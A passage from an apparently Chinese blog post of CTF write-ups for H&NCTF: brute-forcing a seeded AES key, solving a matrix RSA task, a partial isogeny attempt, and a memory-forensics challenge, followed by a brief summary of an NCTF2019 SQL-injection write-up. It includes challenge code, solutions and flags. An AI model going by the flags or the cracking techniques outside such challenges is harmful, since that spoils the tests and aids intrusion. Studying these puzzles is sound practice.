enc_flag = b'\x96H_hz\xe7)\x0c\x15\x91c\x9bt\xa4\xe5\xacwch\x92e\xd1\x0c\x9f\x8fH\x05\x9f\x1d\x92\x81\xcc\xe0\x98\x8b\xda\x89\xcf\x92\x01a\xe1B\xfb\x97\xdc\x0cG'

for seed in tqdm(range(1577808000, 1715529600)):
    random.seed(seed)
    key = random.randbytes(16)
    iv = random.randbytes(16)
    aes = AES.new(key, AES.MODE_CBC, iv)
    flag = aes.decrypt(enc_flag)
    if b'NCTF{' in flag:  # 在解密后的结果中查找'flag'字符串
        print(flag)
        break

image.png

MatrixRSA

task

from Crypto.Util.number import *
import os

flag = b"H&NCTF{??????????????}" + os.urandom(73)

p = getPrime(56)
q = getPrime(56)
n = p * q

part = [bytes_to_long(flag[13*i:13*(i+1)]) for i in range(9)]

M = Matrix(Zmod(n),[
    [part[3*i+j] for j in range(3)] for i in range(3)
])

e = 65537
C = M ** e
print(f"n = {n}")
print(f"C = {list(C)}")

"""
n = 3923490775575970082729688460890203
C = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]
"""

这里需要注意复数域的phi为(p**2 - 1) _ (q_2 - 1)

from Crypto.Util.number import *
import gmpy2


n = 3923490775575970082729688460890203
p = 56891773340056609
q = 68964114585148667
e = 65537
C = [(1419745904325460721019899475870191, 2134514837568225691829001907289833, 3332081654357483038861367332497335), 
     (3254631729141395759002362491926143, 3250208857960841513899196820302274, 1434051158630647158098636495711534), 
     (2819200914668344580736577444355697, 2521674659019518795372093086263363, 2850623959410175705367927817534010)]

C = Matrix(Zmod(n), C)
phi = (p**2 - 1) * (q**2 - 1)
d = gmpy2.invert(e, phi)

M=C**d%n

# Convert the decrypted messages to bytes
m = b''.join(long_to_bytes(int(y)) for x in M for y in x)

print(m)
Is this Iso?

task

from Crypto.Util.number import *
from random import *
from secret import flag

def nextPrime(p):
    while(not isPrime(p)):
        p += 1
    return p


#part1 gen Fp and init supersingular curve
while(1):
    p = 2^randint(150,200)*3^randint(100,150)*5^randint(50,100)-1
    if(isPrime(p)):
        break

F.<i> = GF(p^2, modulus = x^2 + 1)
E = EllipticCurve(j=F(1728))
assert E.is_supersingular()


#part2 find a random supersingular E
ways = [2,3,5]
for i in range(20):
    P = E(0).division_points(choice(ways))[1:]
    shuffle(P)
    phi = E.isogeny(P[0])
    E = phi.codomain()


#part3 gen E1 E2 E3
E1 = E

deg1 = 2
P = E1(0).division_points(deg1)[1:]
shuffle(P)
phi1 = E1.isogeny(P[0])
E2 = phi1.codomain()

deg2 = choice(ways)
P = E2(0).division_points(deg2)[1:]
shuffle(P)
phi2 = E2.isogeny(P[0])
E3 = phi2.codomain()


#part4 leak
j1 = E1.j_invariant()
j2 = E2.j_invariant()
j3 = E3.j_invariant()

m = bytes_to_long(flag)
n = getPrime(int(j3[0]).bit_length())*nextPrime(int(j3[0]))

print("p =",p)
print("deg1 =",deg1)
print("deg2 =",deg2)
print("leak1 =",j1[0] >> 400 << 400)
print("leak2 =",j1[1] >> 5 << 5)
print("leak3 =",j2[0] >> 5 << 5)
print("leak4 =",j2[1] >> 400 << 400)
print("n =",n)
print("cipher =",pow(m,65537,n))

(这玩意是啥,找小鸡块学一下Isogeny | 糖醋小鸡块的blog (tangcuxiaojikuai.xyz)

分析条件:

print("p =",p)
print("deg1 =",deg1)
print("deg2 =",deg2)
print("leak1 =",j1[0] >> 400 << 400)
print("leak2 =",j1[1] >> 5 << 5)
print("leak3 =",j2[0] >> 5 << 5)
print("leak4 =",j2[1] >> 400 << 400)
print("n =",n)
print("cipher =",pow(m,65537,n))

leak 2,3 缺少低5位
leak1,4缺400位
此外,还有一个比较有用的东西叫做modular polynomial,他的独特作用是用一个多项式关联了d-isogeny中互为邻居的两个j不变量。也就是说,如果知道了一个j不变量,那么可以将其代入对应度的modular polynomial去求根,得到的所有根就是所有作为他的邻居的j不变量。
这为一些中间相遇提供了快速计算的便利,modular polynomial对应的度较低的多项式形式都可以在如下网站找到:
Modular polynomials (mit.edu)
可以找到对应多项式

phi_j_2:
[3,0] 1
[2,0] -162000
[2,1] 1488
[2,2] -1
[1,0] 8748000000
[1,1] 40773375
[0,0] -157464000000000
phi_j_5
[0,0] 141359947154721358697753474691071362751004672000
[1,0] 53274330803424425450420160273356509151232000
[1,1] -264073457076620596259715790247978782949376
[2,0] 6692500042627997708487149415015068467200
[2,1] 36554736583949629295706472332656640000
[2,2] 5110941777552418083110765199360000
[3,0] 280244777828439527804321565297868800
[3,1] -192457934618928299655108231168000
[3,2] 26898488858380731577417728000
[3,3] -441206965512914835246100
[4,0] 1284733132841424456253440
[4,1] 128541798906828816384000
[4,2] 383083609779811215375
[4,3] 107878928185336800
[4,4] 1665999364600
[5,0] 1963211489280
[5,1] -246683410950
[5,2] 2028551200
[5,3] -4550940
[5,4] 3720
[5,5] -1
[6,0] 1

解题思路:
Modular polynomials中有两个变量X和Y,这两变量分别对应一个j不变量j1,j2,里边的元素都是:a+b*i的形式
可以得到j1[0]+j1[1]i,和j2[0]+j2[1] i,phi_j_2,phi_j_5已经得到,带入得到phi_j_2(j1, j2) 和 phi_j_5(j2, j3)
实部虚部一共两个方程
其中leak 2,3 缺少低5位,可以爆破。。
然后就不会了谢谢喵

FOENSICS

ice的秘密

内存起手 直接vol一把梭
前面的基本流程就不细说了
imageinfo看到是Win7
pslist看到一个mspaint.exe
老方法dumpfiles导出data块
GIMP查看得到key3
image.png
之后filescan+RStudio一把梭导出桌面的两个文件
main.py:

def encode (OO0OOO0O0OOO00000):
    O0O0000000O0OOO00 =[]
    for O0O0OO00O00OOO0OO in OO0OOO0O0OOO00000:
        O000OOOO000O000O0 =(ord (O0O0OO00O00OOO0OO )^0x114000 ^0x514)+114000-514
        O0O0000000O0OOO00 .append (O000OOOO000O000O0 &0xff)
    return O0O0000000O0OOO00
array=[205, 191, 187, 115, 124, 117, 110, 181, 187, 153, 199, 110, 174, 202, 153]
for i in range(len(array)):
    array[i]=(((array[i]+514-114000)^0x514^0x114000)&0xff)
print(bytes(array))
#b'key1:34sy_m4th_'
"""
>>>encode("key1")
[205, 191, 187, 115, 124, 117, 110, 181, 187, 153, 199, 110, 174, 202, 153]
"""

之后看key2.txt
一开始没想到该咋做
之后看题目提示user_domain_password
想到passware可以直接一把梭解密得到三个参数

ice_CTF_CFRS[]

直接解密得到的tips屁用没有
但是CFRS[]给了提示 直接github找项目解密一下
得到 2B
![MVDG9@0QY_0T{E~)L]KU_D8.png](https://img-blog.csdnimg.cn/img_convert/162c1a2e60cc2ae59c5ff1161b3a587e.png)
后面经过调试得到正确的key

34sy_m4th_2b_pic

再次挂载得到flag

H&NCTF{F0rensics_1s_1nt3r3st1ng}
  • 22
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
\[NCTF2019\]SQLi是一个CTF比赛中的题目,涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容,可以得知在该题目中,通过构造特定的SQL语句,可以绕过过滤,获取到管理员的密码,从而获得flag。具体的解题思路是通过不断尝试不同的字符,构造SQL语句进行盲注,判断是否成功绕过过滤。引用\[3\]提供了一个Python脚本的示例,可以用来自动化进行尝试。该脚本通过构造不同长度的payload,逐位尝试密码的每一位字符,直到获取到完整的密码。 #### 引用[.reference_title] - *1* [[NCTF2019]SQLi --BUUCTF --详解](https://blog.csdn.net/l2872253606/article/details/125265138)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[NCTF2019]SQLi(Regexp注入)](https://blog.csdn.net/weixin_45669205/article/details/116137824)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[NCTF2019]SQLi](https://blog.csdn.net/shinygod/article/details/124100832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值